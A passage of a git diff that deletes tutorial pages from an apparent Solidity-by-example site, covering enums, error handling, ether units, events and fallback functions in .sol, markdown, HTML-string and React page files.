-        Pending,
-        Shipped,
-        Accepted,
-        Rejected,
-        Canceled
-    }
-
-    // Default value is the first element listed in
-    // definition of the type, in this case "Pending"
-    Status public status;
-
-    // Returns uint
-    // Pending  - 0
-    // Shipped  - 1
-    // Accepted - 2
-    // Rejected - 3
-    // Canceled - 4
-    function get() public view returns (Status) {
-        return status;
-    }
-
-    // Update status by passing uint into input
-    function set(Status _status) public {
-        status = _status;
-    }
-
-    // You can update to a specific enum like this
-    function cancel() public {
-        status = Status.Canceled;
-    }
-
-    // delete resets the enum to its first value, 0
-    function reset() public {
-        delete status;
-    }
-}
-

Declaring and importing Enum

-

File that the enum is declared in

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-// This is saved 'EnumDeclaration.sol'
-
-enum Status {
-    Pending,
-    Shipped,
-    Accepted,
-    Rejected,
-    Canceled
-}
-

File that imports the enum above

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "./EnumDeclaration.sol";
-
-contract Enum {
-    Status public status;
-}
-
` - -export default html diff --git a/src/pages/enum/index.md b/src/pages/enum/index.md deleted file mode 100644 index 876175994..000000000 --- a/src/pages/enum/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Enum -version: 0.8.20 -description: Example of enums in Solidity -keywords: [data, variable, variables, enum, import, imports] ---- - -Solidity supports enumerables and they are useful to model choice and keep track of state. - -Enums can be declared outside of a contract. - -```solidity -{{{Enum}}} -``` - -### Declaring and importing Enum - -File that the enum is declared in - -```solidity -{{{EnumDeclaration}}} -``` - -File that imports the enum above - -```solidity -{{{EnumImport}}} -``` diff --git a/src/pages/enum/index.tsx b/src/pages/enum/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/enum/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/error/Account.sol b/src/pages/error/Account.sol deleted file mode 100644 index 8380bb666..000000000 --- a/src/pages/error/Account.sol +++ /dev/null @@ -1,34 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Account { - uint public balance; - uint public constant MAX_UINT = 2 ** 256 - 1; - - function deposit(uint _amount) public { - uint oldBalance = balance; - uint newBalance = balance + _amount; - - // balance + _amount does not overflow if balance + _amount >= balance - require(newBalance >= oldBalance, "Overflow"); - - balance = newBalance; - - assert(balance >= oldBalance); - } - - function withdraw(uint _amount) public { - uint oldBalance = balance; - - // balance - _amount does not underflow if balance >= _amount - require(balance >= _amount, "Underflow"); - - if (balance < _amount) { - revert("Underflow"); - } - - balance -= _amount; - - assert(balance <= oldBalance); - } -} diff --git a/src/pages/error/Error.sol b/src/pages/error/Error.sol deleted file mode 100644 index 2219c4818..000000000 --- a/src/pages/error/Error.sol +++ /dev/null @@ -1,41 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Error { - function testRequire(uint _i) public pure { - // Require should be used to validate conditions such as: - // - inputs - // - conditions before execution - // - return values from calls to other functions - require(_i > 10, "Input must be greater than 10"); - } - - function testRevert(uint _i) public pure { - // Revert is useful when the condition to check is complex. - // This code does the exact same thing as the example above - if (_i <= 10) { - revert("Input must be greater than 10"); - } - } - - uint public num; - - function testAssert() public view { - // Assert should only be used to test for internal errors, - // and to check invariants. - - // Here we assert that num is always equal to 0 - // since it is impossible to update the value of num - assert(num == 0); - } - - // custom error - error InsufficientBalance(uint balance, uint withdrawAmount); - - function testCustomError(uint _withdrawAmount) public view { - uint bal = address(this).balance; - if (bal < _withdrawAmount) { - revert InsufficientBalance({balance: bal, withdrawAmount: _withdrawAmount}); - } - } -} diff --git a/src/pages/error/index.html.ts b/src/pages/error/index.html.ts deleted file mode 100644 index 7f54cff42..000000000 --- a/src/pages/error/index.html.ts +++ /dev/null @@ -1,106 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Error" -export const description = "Example of how to throw errors in Solidity" - -export const keywords = ["error", "errors", "require", "revert", "assert"] - -export const codes = [ - { - fileName: "Account.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFjY291bnQgewogICAgdWludCBwdWJsaWMgYmFsYW5jZTsKICAgIHVpbnQgcHVibGljIGNvbnN0YW50IE1BWF9VSU5UID0gMiAqKiAyNTYgLSAxOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludCBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIHVpbnQgb2xkQmFsYW5jZSA9IGJhbGFuY2U7CiAgICAgICAgdWludCBuZXdCYWxhbmNlID0gYmFsYW5jZSArIF9hbW91bnQ7CgogICAgICAgIC8vIGJhbGFuY2UgKyBfYW1vdW50IGRvZXMgbm90IG92ZXJmbG93IGlmIGJhbGFuY2UgKyBfYW1vdW50ID49IGJhbGFuY2UKICAgICAgICByZXF1aXJlKG5ld0JhbGFuY2UgPj0gb2xkQmFsYW5jZSwgIk92ZXJmbG93Iik7CgogICAgICAgIGJhbGFuY2UgPSBuZXdCYWxhbmNlOwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA+PSBvbGRCYWxhbmNlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgdWludCBvbGRCYWxhbmNlID0gYmFsYW5jZTsKCiAgICAgICAgLy8gYmFsYW5jZSAtIF9hbW91bnQgZG9lcyBub3QgdW5kZXJmbG93IGlmIGJhbGFuY2UgPj0gX2Ftb3VudAogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA+PSBfYW1vdW50LCAiVW5kZXJmbG93Iik7CgogICAgICAgIGlmIChiYWxhbmNlIDwgX2Ftb3VudCkgewogICAgICAgICAgICByZXZlcnQoIlVuZGVyZmxvdyIpOwogICAgICAgIH0KCiAgICAgICAgYmFsYW5jZSAtPSBfYW1vdW50OwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA8PSBvbGRCYWxhbmNlKTsKICAgIH0KfQo=", - }, - { - fileName: "Error.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEVycm9yIHsKICAgIGZ1bmN0aW9uIHRlc3RSZXF1aXJlKHVpbnQgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXF1aXJlIHNob3VsZCBiZSB1c2VkIHRvIHZhbGlkYXRlIGNvbmRpdGlvbnMgc3VjaCBhczoKICAgICAgICAvLyAtIGlucHV0cwogICAgICAgIC8vIC0gY29uZGl0aW9ucyBiZWZvcmUgZXhlY3V0aW9uCiAgICAgICAgLy8gLSByZXR1cm4gdmFsdWVzIGZyb20gY2FsbHMgdG8gb3RoZXIgZnVuY3Rpb25zCiAgICAgICAgcmVxdWlyZShfaSA+IDEwLCAiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0UmV2ZXJ0KHVpbnQgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXZlcnQgaXMgdXNlZnVsIHdoZW4gdGhlIGNvbmRpdGlvbiB0byBjaGVjayBpcyBjb21wbGV4LgogICAgICAgIC8vIFRoaXMgY29kZSBkb2VzIHRoZSBleGFjdCBzYW1lIHRoaW5nIGFzIHRoZSBleGFtcGxlIGFib3ZlCiAgICAgICAgaWYgKF9pIDw9IDEwKSB7CiAgICAgICAgICAgIHJldmVydCgiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgICAgICB9CiAgICB9CgogICAgdWludCBwdWJsaWMgbnVtOwoKICAgIGZ1bmN0aW9uIHRlc3RBc3NlcnQoKSBwdWJsaWMgdmlldyB7CiAgICAgICAgLy8gQXNzZXJ0IHNob3VsZCBvbmx5IGJlIHVzZWQgdG8gdGVzdCBmb3IgaW50ZXJuYWwgZXJyb3JzLAogICAgICAgIC8vIGFuZCB0byBjaGVjayBpbnZhcmlhbnRzLgoKICAgICAgICAvLyBIZXJlIHdlIGFzc2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50IGJhbGFuY2UsIHVpbnQgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpbnQgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2Uoe2JhbGFuY2U6IGJhbCwgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudH0pOwogICAgICAgIH0KICAgIH0KfQo=", - }, -] - -const html = `

An error will undo all changes made to the state during a transaction.

-

You can throw an error by calling require, revert or assert.

-
    -
  • require is used to validate inputs and conditions before execution.
  • -
  • revert is similar to require. See the code below for details.
  • -
  • assert is used to check for code that should never be false. Failing -assertion probably means that there is a bug.
  • -
-

Use custom error to save gas.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Error {
-    function testRequire(uint _i) public pure {
-        // Require should be used to validate conditions such as:
-        // - inputs
-        // - conditions before execution
-        // - return values from calls to other functions
-        require(_i > 10, "Input must be greater than 10");
-    }
-
-    function testRevert(uint _i) public pure {
-        // Revert is useful when the condition to check is complex.
-        // This code does the exact same thing as the example above
-        if (_i <= 10) {
-            revert("Input must be greater than 10");
-        }
-    }
-
-    uint public num;
-
-    function testAssert() public view {
-        // Assert should only be used to test for internal errors,
-        // and to check invariants.
-
-        // Here we assert that num is always equal to 0
-        // since it is impossible to update the value of num
-        assert(num == 0);
-    }
-
-    // custom error
-    error InsufficientBalance(uint balance, uint withdrawAmount);
-
-    function testCustomError(uint _withdrawAmount) public view {
-        uint bal = address(this).balance;
-        if (bal < _withdrawAmount) {
-            revert InsufficientBalance({balance: bal, withdrawAmount: _withdrawAmount});
-        }
-    }
-}
-

Here is another example

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Account {
-    uint public balance;
-    uint public constant MAX_UINT = 2 ** 256 - 1;
-
-    function deposit(uint _amount) public {
-        uint oldBalance = balance;
-        uint newBalance = balance + _amount;
-
-        // balance + _amount does not overflow if balance + _amount >= balance
-        require(newBalance >= oldBalance, "Overflow");
-
-        balance = newBalance;
-
-        assert(balance >= oldBalance);
-    }
-
-    function withdraw(uint _amount) public {
-        uint oldBalance = balance;
-
-        // balance - _amount does not underflow if balance >= _amount
-        require(balance >= _amount, "Underflow");
-
-        if (balance < _amount) {
-            revert("Underflow");
-        }
-
-        balance -= _amount;
-
-        assert(balance <= oldBalance);
-    }
-}
-
` - -export default html diff --git a/src/pages/error/index.md b/src/pages/error/index.md deleted file mode 100644 index c7544f1b5..000000000 --- a/src/pages/error/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Error -version: 0.8.20 -description: Example of how to throw errors in Solidity -keywords: [error, errors, require, revert, assert] ---- - -An error will undo all changes made to the state during a transaction. - -You can throw an error by calling `require`, `revert` or `assert`. - -- `require` is used to validate inputs and conditions before execution. -- `revert` is similar to `require`. See the code below for details. -- `assert` is used to check for code that should never be false. Failing - assertion probably means that there is a bug. - -Use custom error to save gas. - -```solidity -{{{Error}}} -``` - -Here is another example - -```solidity -{{{Account}}} -``` diff --git a/src/pages/error/index.tsx b/src/pages/error/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/error/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/ether-units/EtherUnits.sol b/src/pages/ether-units/EtherUnits.sol deleted file mode 100644 index 6dca11544..000000000 --- a/src/pages/ether-units/EtherUnits.sol +++ /dev/null @@ -1,12 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract EtherUnits { - uint public oneWei = 1 wei; - // 1 wei is equal to 1 - bool public isOneWei = 1 wei == 1; - - uint public oneEther = 1 ether; - // 1 ether is equal to 10^18 wei - bool public isOneEther = 1 ether == 1e18; -} diff --git a/src/pages/ether-units/index.html.ts b/src/pages/ether-units/index.html.ts deleted file mode 100644 index df7398086..000000000 --- a/src/pages/ether-units/index.html.ts +++ /dev/null @@ -1,31 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Ether and Wei" -export const description = "An example of Ether and Wei in Solidity" - -export const keywords = ["data", "variables", "variable", "ether", "wei", "units"] - -export const codes = [ - { - fileName: "EtherUnits.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludCBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IDEgd2VpID09IDE7CgogICAgdWludCBwdWJsaWMgb25lRXRoZXIgPSAxIGV0aGVyOwogICAgLy8gMSBldGhlciBpcyBlcXVhbCB0byAxMF4xOCB3ZWkKICAgIGJvb2wgcHVibGljIGlzT25lRXRoZXIgPSAxIGV0aGVyID09IDFlMTg7Cn0K", - }, -] - -const html = `

Transactions are paid with ether.

-

Similar to how one dollar is equal to 100 cent, one ether is equal to 1018 wei.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract EtherUnits {
-    uint public oneWei = 1 wei;
-    // 1 wei is equal to 1
-    bool public isOneWei = 1 wei == 1;
-
-    uint public oneEther = 1 ether;
-    // 1 ether is equal to 10^18 wei
-    bool public isOneEther = 1 ether == 1e18;
-}
-
` - -export default html diff --git a/src/pages/ether-units/index.md b/src/pages/ether-units/index.md deleted file mode 100644 index 9db74f494..000000000 --- a/src/pages/ether-units/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Ether and Wei -version: 0.8.20 -description: An example of Ether and Wei in Solidity -keywords: [data, variables, variable, ether, wei, units] ---- - -Transactions are paid with `ether`. - -Similar to how one dollar is equal to 100 cent, one `ether` is equal to 1018 `wei`. - -```solidity -{{{EtherUnits}}} -``` diff --git a/src/pages/ether-units/index.tsx b/src/pages/ether-units/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/ether-units/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/events/Events.sol b/src/pages/events/Events.sol deleted file mode 100644 index d2e7a0f20..000000000 --- a/src/pages/events/Events.sol +++ /dev/null @@ -1,16 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Event { - // Event declaration - // Up to 3 parameters can be indexed. - // Indexed parameters helps you filter the logs by the indexed parameter - event Log(address indexed sender, string message); - event AnotherLog(); - - function test() public { - emit Log(msg.sender, "Hello World!"); - emit Log(msg.sender, "Hello EVM!"); - emit AnotherLog(); - } -} diff --git a/src/pages/events/index.html.ts b/src/pages/events/index.html.ts deleted file mode 100644 index dceac1935..000000000 --- a/src/pages/events/index.html.ts +++ /dev/null @@ -1,38 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Events" -export const description = "Example of how to emit events in Solidity" - -export const keywords = ["event", "events"] - -export const codes = [ - { - fileName: "Events.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K", - }, -] - -const html = `

Events allow logging to the Ethereum blockchain. Some use cases for events are:

-
    -
  • Listening for events and updating user interface
  • -
  • A cheap form of storage
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Event {
-    // Event declaration
-    // Up to 3 parameters can be indexed.
-    // Indexed parameters helps you filter the logs by the indexed parameter
-    event Log(address indexed sender, string message);
-    event AnotherLog();
-
-    function test() public {
-        emit Log(msg.sender, "Hello World!");
-        emit Log(msg.sender, "Hello EVM!");
-        emit AnotherLog();
-    }
-}
-
` - -export default html diff --git a/src/pages/events/index.md b/src/pages/events/index.md deleted file mode 100644 index be52137ca..000000000 --- a/src/pages/events/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Events -version: 0.8.20 -description: Example of how to emit events in Solidity -keywords: [event, events] ---- - -`Events` allow logging to the Ethereum blockchain. Some use cases for events are: - -- Listening for events and updating user interface -- A cheap form of storage - -```solidity -{{{Events}}} -``` diff --git a/src/pages/events/index.tsx b/src/pages/events/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/events/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/fallback/Fallback.sol b/src/pages/fallback/Fallback.sol deleted file mode 100644 index 00d7cd0b1..000000000 --- a/src/pages/fallback/Fallback.sol +++ /dev/null @@ -1,34 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Fallback { - event Log(string func, uint gas); - - // Fallback function must be declared as external. - fallback() external payable { - // send / transfer (forwards 2300 gas to this fallback function) - // call (forwards all of the gas) - emit Log("fallback", gasleft()); - } - - // Receive is a variant of fallback that is triggered when msg.data is empty - receive() external payable { - emit Log("receive", gasleft()); - } - - // Helper function to check the balance of this contract - function getBalance() public view returns (uint) { - return address(this).balance; - } -} - -contract SendToFallback { - function transferToFallback(address payable _to) public payable { - _to.transfer(msg.value); - } - - function callFallback(address payable _to) public payable { - (bool sent, ) = _to.call{value: msg.value}(""); - require(sent, "Failed to send Ether"); - } -} diff --git a/src/pages/fallback/FallbackInputOutput.sol b/src/pages/fallback/FallbackInputOutput.sol deleted file mode 100644 index fbe4fc6d1..000000000 --- a/src/pages/fallback/FallbackInputOutput.sol +++ /dev/null @@ -1,43 +0,0 @@ -pragma solidity ^0.8.20; - -// TestFallbackInputOutput -> FallbackInputOutput -> Counter -contract FallbackInputOutput { - address immutable target; - - constructor(address _target) { - target = _target; - } - - fallback(bytes calldata data) external payable returns (bytes memory) { - (bool ok, bytes memory res) = target.call{value: msg.value}(data); - require(ok, "call failed"); - return res; - } -} - -contract Counter { - uint public count; - - function get() external view returns (uint) { - return count; - } - - function inc() external returns (uint) { - count += 1; - return count; - } -} - -contract TestFallbackInputOutput { - event Log(bytes res); - - function test(address _fallback, bytes calldata data) external { - (bool ok, bytes memory res) = _fallback.call(data); - require(ok, "call failed"); - emit Log(res); - } - - function getTestData() external pure returns (bytes memory, bytes memory) { - return (abi.encodeCall(Counter.get, ()), abi.encodeCall(Counter.inc, ())); - } -} diff --git a/src/pages/fallback/index.html.ts b/src/pages/fallback/index.html.ts deleted file mode 100644 index ff65d34a0..000000000 --- a/src/pages/fallback/index.html.ts +++ /dev/null @@ -1,115 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Fallback" -export const description = "Example of how to use fallback in Solidity" - -export const keywords = [ - "fallback", - "function", - "functions", - "receive", - "payable", - "send", - "ether", - "eth", - "transfer", -] - -export const codes = [ - { - fileName: "Fallback.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludCBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIGZ1bmN0aW9uIHRvIGNoZWNrIHRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKY29udHJhY3QgU2VuZFRvRmFsbGJhY2sgewogICAgZnVuY3Rpb24gdHJhbnNmZXJUb0ZhbGxiYWNrKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRmFsbGJhY2soYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIChib29sIHNlbnQsICkgPSBfdG8uY2FsbHt2YWx1ZTogbXNnLnZhbHVlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo=", - }, - { - fileName: "FallbackInputOutput.sol", - code: "cHJhZ21hIHNvbGlkaXR5IF4wLjguMjA7CgovLyBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCAtPiBGYWxsYmFja0lucHV0T3V0cHV0IC0+IENvdW50ZXIKY29udHJhY3QgRmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBhZGRyZXNzIGltbXV0YWJsZSB0YXJnZXQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdGFyZ2V0KSB7CiAgICAgICAgdGFyZ2V0ID0gX3RhcmdldDsKICAgIH0KCiAgICBmYWxsYmFjayhieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IHRhcmdldC5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiByZXM7CiAgICB9Cn0KCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludCBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHJldHVybnMgKHVpbnQpIHsKICAgICAgICBjb3VudCArPSAxOwogICAgICAgIHJldHVybiBjb3VudDsKICAgIH0KfQoKY29udHJhY3QgVGVzdEZhbGxiYWNrSW5wdXRPdXRwdXQgewogICAgZXZlbnQgTG9nKGJ5dGVzIHJlcyk7CgogICAgZnVuY3Rpb24gdGVzdChhZGRyZXNzIF9mYWxsYmFjaywgYnl0ZXMgY2FsbGRhdGEgZGF0YSkgZXh0ZXJuYWwgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF9mYWxsYmFjay5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIGVtaXQgTG9nKHJlcyk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VGVzdERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSwgYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIChhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmdldCwgKCkpLCBhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmluYywgKCkpKTsKICAgIH0KfQo=", - }, -] - -const html = `

fallback is a special function that is executed either when

-
    -
  • a function that does not exist is called or
  • -
  • Ether is sent directly to a contract but receive() does not exist or msg.data is not empty
  • -
-

fallback has a 2300 gas limit when called by transfer or send.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Fallback {
-    event Log(string func, uint gas);
-
-    // Fallback function must be declared as external.
-    fallback() external payable {
-        // send / transfer (forwards 2300 gas to this fallback function)
-        // call (forwards all of the gas)
-        emit Log("fallback", gasleft());
-    }
-
-    // Receive is a variant of fallback that is triggered when msg.data is empty
-    receive() external payable {
-        emit Log("receive", gasleft());
-    }
-
-    // Helper function to check the balance of this contract
-    function getBalance() public view returns (uint) {
-        return address(this).balance;
-    }
-}
-
-contract SendToFallback {
-    function transferToFallback(address payable _to) public payable {
-        _to.transfer(msg.value);
-    }
-
-    function callFallback(address payable _to) public payable {
-        (bool sent, ) = _to.call{value: msg.value}("");
-        require(sent, "Failed to send Ether");
-    }
-}
-

fallback can optionally take bytes for input and output

-
pragma solidity ^0.8.20;
-
-// TestFallbackInputOutput -> FallbackInputOutput -> Counter
-contract FallbackInputOutput {
-    address immutable target;
-
-    constructor(address _target) {
-        target = _target;
-    }
-
-    fallback(bytes calldata data) external payable returns (bytes memory) {
-        (bool ok, bytes memory res) = target.call{value: msg.value}(data);
-        require(ok, "call failed");
-        return res;
-    }
-}
-
-contract Counter {
-    uint public count;
-
-    function get() external view returns (uint) {
-        return count;
-    }
-
-    function inc() external returns (uint) {
-        count += 1;
-        return count;
-    }
-}
-
-contract TestFallbackInputOutput {
-    event Log(bytes res);
-
-    function test(address _fallback, bytes calldata data) external {
-        (bool ok, bytes memory res) = _fallback.call(data);
-        require(ok, "call failed");
-        emit Log(res);
-    }
-
-    function getTestData() external pure returns (bytes memory, bytes memory) {
-        return (abi.encodeCall(Counter.get, ()), abi.encodeCall(Counter.inc, ()));
-    }
-}
-
` - -export default html diff --git a/src/pages/fallback/index.md b/src/pages/fallback/index.md deleted file mode 100644 index 7e7b1f376..000000000 --- a/src/pages/fallback/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Fallback -version: 0.8.20 -description: Example of how to use fallback in Solidity -keywords: [fallback, function, functions, receive, payable, send, ether, eth, transfer] ---- - -`fallback` is a special function that is executed either when - -- a function that does not exist is called or -- Ether is sent directly to a contract but `receive()` does not exist or `msg.data` is not empty - -`fallback` has a 2300 gas limit when called by `transfer` or `send`. - -```solidity -{{{Fallback}}} -``` - -`fallback` can optionally take `bytes` for input and output - -```solidity -{{{FallbackInputOutput}}} -``` diff --git a/src/pages/fallback/index.tsx b/src/pages/fallback/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/fallback/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null 